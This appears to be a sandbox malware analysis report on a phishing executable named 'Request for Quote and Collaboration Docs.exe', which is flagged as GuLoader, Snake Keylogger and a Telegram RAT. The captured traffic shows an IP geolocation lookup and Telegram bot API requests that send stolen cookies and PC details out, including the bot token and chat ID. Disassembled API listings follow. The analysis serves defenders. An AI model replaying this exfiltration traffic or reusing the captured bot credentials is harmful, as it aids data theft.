2024-12-03 14:32:16 UTC	881	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:16 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 113759 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bf2v4RoIdJ2TSvBhPtxjmY%2BzJ58oJsXxQoHZMsyYSSIVjDmCr77%2F9MThCyMmJRg1W6GgCkKi6KAwapOuirfWIzt8jW5WB720E%2FeUAYCSPm5hRS%2Fvxaya3brEoQ%2FYpU5lMpWYsNLv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec443dfda4d7c87-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8835&min_rtt=2041&rtt_var=4992&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1430671&cwnd=199&unsent_bytes=0&cid=1a05ebae5e71611d&ts=472&x=0"
2024-12-03 14:32:16 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49987	172.67.177.134	443	6484	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:18 UTC	61	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-03 14:32:18 UTC	876	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:18 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 113761 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t%2FrmmnXlmH6iXbclTu43XFmvkLqYlWGBzLSWiNnKuKUpqV8CNPBy5aRPgio4NcX3Rm5ww8qAM%2B43MjHk6PIDrvfGBG3953nv13XsBOl1F6%2F0e1K0muNupuWCmtSQxHpaWIZE3fpF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec443ed59607287-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1806&min_rtt=1805&rtt_var=679&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1610590&cwnd=185&unsent_bytes=0&cid=24f79be98b3c74af&ts=511&x=0"
2024-12-03 14:32:18 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49992	149.154.167.220	443	6484	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:20 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:887849%0D%0ADate%20and%20Time:%2003/12/2024%20/%2009:32:16%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20887849%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-12-03 14:32:21 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:32:20 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:32:21 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50004	149.154.167.220	443	6484	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:28 UTC	356	OUT	POST /bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendDocument?chat_id=2065242915&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd137d6647c870 Host: api.telegram.org Content-Length: 1281
2024-12-03 14:32:28 UTC	1281	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 33 37 64 36 36 34 37 63 38 37 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 6f 6f 6b 69 65 73 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 43 6f 6f 6b 69 65 73 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 38 37 38 34 39 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 33 2f 31 32 2f 32 30 32 Data Ascii: --------------------------8dd137d6647c870Content-Disposition: form-data; name="document"; filename="Cookies_Recovered.txt"Content-Type: application/x-ms-dos-executableCookies \| user \| VIP Recovery PC Name:887849Date and Time: 03/12/202
2024-12-03 14:32:29 UTC	346	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:32:28 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:32:29 UTC	56	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 30 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4c 6f 67 67 65 64 20 6f 75 74 22 7d Data Ascii: {"ok":false,"error_code":400,"description":"Logged out"}

Target ID:	0
Start time:	09:30:05
Start date:	03/12/2024
Path:	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe"
Imagebase:	0x400000
File size:	757'168 bytes
MD5 hash:	1E5FBBEF8F5AD057FC7B2210A2070E9B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.3027175289.000000000793D000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:31:35
Start date:	03/12/2024
Path:	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe"
Imagebase:	0x400000
File size:	757'168 bytes
MD5 hash:	1E5FBBEF8F5AD057FC7B2210A2070E9B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.4005076815.0000000037732000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000003.3530300251.0000000039E91000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.4005076815.0000000037561000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	20.1%
Dynamic/Decrypted Code Coverage:	15.2%
Signature Coverage:	18.9%
Total number of Nodes:	1510
Total number of Limit Nodes:	45

Executed Functions

Function 0040335A Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 00403379
SetErrorMode.KERNELBASE(00008001), ref: 00403384
OleInitialize.OLE32(00000000), ref: 0040338B

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

SHGetFileInfoW.SHELL32(00420690,00000000,?,000002B4,00000000), ref: 004033B3

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

GetCommandLineW.KERNEL32(004281E0,NSIS Error), ref: 004033C8
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe",00000000), ref: 004033DB
CharNextW.USER32(00000000,"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe",00000020), ref: 00403402
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040350B
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040351C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403528
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040353C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403544
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403555
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040355D
DeleteFileW.KERNELBASE(1033), ref: 00403571
OleUninitialize.OLE32(?), ref: 00403621
ExitProcess.KERNEL32 ref: 00403641
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe",00000000,?), ref: 0040364D
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe",00000000,?), ref: 00403659
CreateDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403665
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 0040366C
DeleteFileW.KERNEL32(0041FE90,0041FE90,?,0042A000,?), ref: 004036C6
CopyFileW.KERNEL32(C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe,0041FE90,00000001), ref: 004036DA
CloseHandle.KERNEL32(00000000,0041FE90,0041FE90,?,0041FE90,00000000), ref: 00403707
GetCurrentProcess.KERNEL32(00000028,00000004,00000005,00000004,00000003), ref: 0040375D
ExitWindowsEx.USER32(00000002,00000000), ref: 00403799
ExitProcess.KERNEL32 ref: 004037BC

Strings

Low, xrefs: 0040353E
TMP, xrefs: 00403558
1033, xrefs: 0040356C
C:\Users\user\Desktop, xrefs: 00403652, 00403657, 0040367B
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet, xrefs: 004034F0, 004035F3, 00403672, 0040367C
SeShutdownPrivilege, xrefs: 0040376F
"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe", xrefs: 004033CE, 004033D4, 00403595
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040336D
NSIS Error, xrefs: 004033B9
Error launching installer, xrefs: 004035D8
~nsu.tmp, xrefs: 00403647
TEMP, xrefs: 00403550
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope, xrefs: 004035FE
\Temp, xrefs: 00403522
C:\Users\user\AppData\Local\Temp\, xrefs: 00403500, 00403505, 0040351B, 00403527, 00403536, 00403543, 0040354F, 00403557, 0040364C, 00403658, 00403664, 0040366B, 0040371C
C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe, xrefs: 004036D5

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe"$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope$C:\Users\user\Desktop$C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-1152534377
Opcode ID: 19452a82f84b89d672e287bbd9b4a7210e15b48e73439f139737dd6fa92c6ca7
Instruction ID: adac61535fb2ab45c93a94ea6b46826cba801cc8f349b6914fd9ce0ca4797ca8
Opcode Fuzzy Hash: 19452a82f84b89d672e287bbd9b4a7210e15b48e73439f139737dd6fa92c6ca7
Instruction Fuzzy Hash: 72B1C170904211AAD720BF619D49A3B3EACEB4570AF40453FF542BA2E2D77C9941CB7E

Function 00404B10 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B28
GetDlgItem.USER32(?,00000408), ref: 00404B33
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B7D
LoadBitmapW.USER32(0000006E), ref: 00404B90
SetWindowLongW.USER32(?,000000FC,00405108), ref: 00404BA9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BBD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BCF
SendMessageW.USER32(?,00001109,00000002), ref: 00404BE5
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404BF1
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C03
DeleteObject.GDI32(00000000), ref: 00404C06
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C31
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C3D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CD3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404CFE
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D12
GetWindowLongW.USER32(?,000000F0), ref: 00404D41
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D4F
ShowWindow.USER32(?,00000005), ref: 00404D60
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E5D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EC2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404ED7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404EFB
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F1B
ImageList_Destroy.COMCTL32(?), ref: 00404F30
GlobalFree.KERNEL32(?), ref: 00404F40
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FB9
SendMessageW.USER32(?,00001102,?,?), ref: 00405062
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405071
InvalidateRect.USER32(?,00000000,00000001), ref: 00405091
ShowWindow.USER32(?,00000000), ref: 004050DF
GetDlgItem.USER32(?,000003FE), ref: 004050EA
ShowWindow.USER32(00000000), ref: 004050F1

Strings

, xrefs: 004050C9
N, xrefs: 00404D9B
M, xrefs: 00404CBA

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: db08064a331c8b710d2bfbefb5f5365b1a6743964771edbed48d05eba51cbb05
Instruction ID: d71a5cbf05b966a5fca8a5aa47d1df2e6c399d67ef135bcf6f64f468dd7cdb7f
Opcode Fuzzy Hash: db08064a331c8b710d2bfbefb5f5365b1a6743964771edbed48d05eba51cbb05
Instruction Fuzzy Hash: 6E027FB0900209EFEB209F54DD85AAE7BB5FB84314F10857AF610BA2E0D7799D52CF58

Function 00405F0C Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00405FCF
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040604D
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 00406060
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 0040609C
SHGetPathFromIDListW.SHELL32(?,Call), ref: 004060AA
CoTaskMemFree.OLE32(?), ref: 004060B5
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004060D9
lstrlenW.KERNEL32(Call,00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00406133

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004060D3
Call, xrefs: 00405F36, 00406016, 00406037, 0040604C, 0040605F, 0040607B, 004060A6, 004060D8, 004060DE, 004060F8, 0040610C, 0040612C, 00406132, 0040613E, 00406171
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040601B

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 9fe4ffeb513939a43d7003ef0179ff27352b89f5fe06c0b94729ac98e3d3bc3e
Instruction ID: 201fcfe404e7502d8ff22bbbb8bc1db0d7d07a9235330109bbd625d5d43c8b09
Opcode Fuzzy Hash: 9fe4ffeb513939a43d7003ef0179ff27352b89f5fe06c0b94729ac98e3d3bc3e
Instruction Fuzzy Hash: 93612371A40516EBDB209F24CC44AAF37A5EF00314F51813BE546BA2E0D73D8AA2CB4E

Function 00405772 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,76232EE0,"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe"), ref: 0040579B
lstrcatW.KERNEL32(004246D8,\*.*,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,76232EE0,"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe"), ref: 004057E3
lstrcatW.KERNEL32(?,00409014,?,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,76232EE0,"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe"), ref: 00405806
lstrlenW.KERNEL32(?,?,00409014,?,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,76232EE0,"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe"), ref: 0040580C
FindFirstFileW.KERNELBASE(004246D8,?,?,?,00409014,?,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,76232EE0,"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe"), ref: 0040581C
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 004058BC
FindClose.KERNEL32(00000000), ref: 004058CB

Strings

"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe", xrefs: 0040577B
\*.*, xrefs: 004057DD
C:\Users\user\AppData\Local\Temp\, xrefs: 00405780

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1005271357
Opcode ID: 91addf2f7801abc8b01003351af1a773a3a4ecd8c4e6fa2132f7e8029f9d92b7
Instruction ID: 64b0c8684543101156bed993c7ef625b5cb6937b92a1292c702a5556077473ca
Opcode Fuzzy Hash: 91addf2f7801abc8b01003351af1a773a3a4ecd8c4e6fa2132f7e8029f9d92b7
Instruction Fuzzy Hash: 4341B031800914EADF217B619C89ABF7678EF45728F10817BF800B51D1D77C4992DE6E

Function 0040653F Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
